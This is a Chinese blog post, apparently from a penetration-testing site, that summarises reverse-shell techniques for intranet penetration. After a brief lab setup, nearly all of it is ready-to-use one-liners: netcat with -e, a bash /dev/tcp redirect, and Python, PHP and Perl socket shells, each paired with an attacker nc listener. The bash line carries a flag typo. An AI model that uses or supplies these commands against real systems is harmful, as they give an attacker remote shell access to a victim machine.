不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

内网渗透:nc反弹shell总结

1、实验环境

Kali:192.168.32.132 //模拟靶机
Windows:192.168.32.1 //模拟公网vps

2、若靶机上存在nc,获取反向shell:

vps攻击机:nc -lvp 9999      // 监听9999端口
靶机:nc 1.1.1.1 9999 -e /bin/bash  // Linux正向连接公网vps1.1.1.1的9999端口
     nc 1.1.1.1 9999 -e c:\windows\system32\cmd.exe  // Windows

3、若靶机上不存在nc,可用如下几种方式进行代替:

(1) Bash反弹shell
vps攻击机:nc -lvp 6666
靶机:bash -I >& /dev/tcp/192.168.32.1/6666 0>&1

(2)靶机存在Python环境,Python反弹shell
vps攻击机:nc -lvp 6666
靶机:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.1",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

(3)靶机存在PHP环境,PHP反向shell:
vps攻击机:nc -lvp 6666
靶机:php -r '$sock=fsockopen("192.168.32.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

图片

(4)靶机存在Perl环境,Perl反弹shell:
Vps攻击机:nc -lvp 6666
靶机:perl -e 'use Socket; $i="192.168.32.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

赞(0) 打赏
未经允许不得转载:seo优化_前端开发_渗透技术 » 内网渗透:nc反弹shell总结

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏